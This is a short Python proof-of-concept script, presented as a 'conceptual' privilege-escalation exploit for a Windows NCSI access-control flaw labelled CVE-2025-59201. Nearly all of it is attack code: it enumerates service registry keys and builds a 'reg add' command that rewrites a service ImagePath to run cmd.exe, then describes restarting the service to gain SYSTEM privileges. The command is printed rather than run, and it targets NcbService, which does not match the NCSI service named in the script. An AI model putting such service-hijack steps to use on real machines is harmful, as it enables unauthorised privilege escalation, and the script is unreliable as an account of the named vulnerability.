The following code is for security research and authorized testing only.
python
# CVE-2025-59201 - Windows NCSI Privilege Escalation PoC (Conceptual)
# This is a conceptual PoC demonstrating the exploitation pattern for the
# improper access control vulnerability in NCSI service.
# WARNING: For authorized security testing and educational purposes only.
import os
import sys
import subprocess
import ctypes
from ctypes import wintypes
# Check if running with sufficient privileges
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False
# Step 1: Identify NCSI service and its privileged resources
def enumerate_ncsi_resources():
"""
Enumerate NCSI-related registry keys, files, and service interfaces
that may have weak ACLs allowing low-priv users to manipulate them.
"""
ncsi_paths = [
r"HKLM\SYSTEM\CurrentControlSet\Services\NcbService",
r"HKLM\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator",
r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\NCSI",
]
print("[*] Enumerating NCSI-related resources...")
for path in ncsi_paths:
print(f"[*] Checking: {path}")
# Use icacls or PowerShell to check ACLs
subprocess.run(["reg", "query", path], capture_output=True)
# Step 2: Exploit improper access control
def exploit_ncsi_access_control():
"""
Exploit the improper access control by manipulating NCSI service
configuration to execute code with SYSTEM privileges.
"""
if is_admin():
print("[!] Already running with admin privileges")
return
print("[*] Attempting privilege escalation via NCSI access control flaw...")
# Example: Manipulate NCSI service registry to inject payload
# The NCSI service may read configuration from registry keys that
# are writable by low-privilege users due to improper ACLs
try:
# Attempt to modify NCSI-related configuration
# This is a simplified representation of the attack pattern
cmd = (
'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\NcbService" '
'/t REG_SZ /v ImagePath /d "cmd.exe /c whoami > C:\\temp\\pwned.txt" /f'
)
# In a real exploit, this would trigger the NCSI service to execute
# the malicious payload with SYSTEM privileges
print(f"[*] Would execute: {cmd}")
print("[*] Triggering NCSI service restart to execute payload...")
# sc stop NcbService && sc start NcbService
except PermissionError as e:
print(f"[-] Permission denied: {e}")
# Step 3: Verify privilege escalation
def verify_escalation():
"""Verify if privilege escalation was successful."""
result = subprocess.run(["whoami", "/priv"], capture_output=True, text=True)
print(f"[*] Current privileges:\n{result.stdout}")
if "SeDebugPrivilege" in result.stdout or "SeImpersonatePrivilege" in result.stdout:
print("[+] Privileges look elevated!")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-59201 - NCSI Privilege Escalation PoC")
print("=" * 60)
enumerate_ncsi_resources()
exploit_ncsi_access_control()
verify_escalation()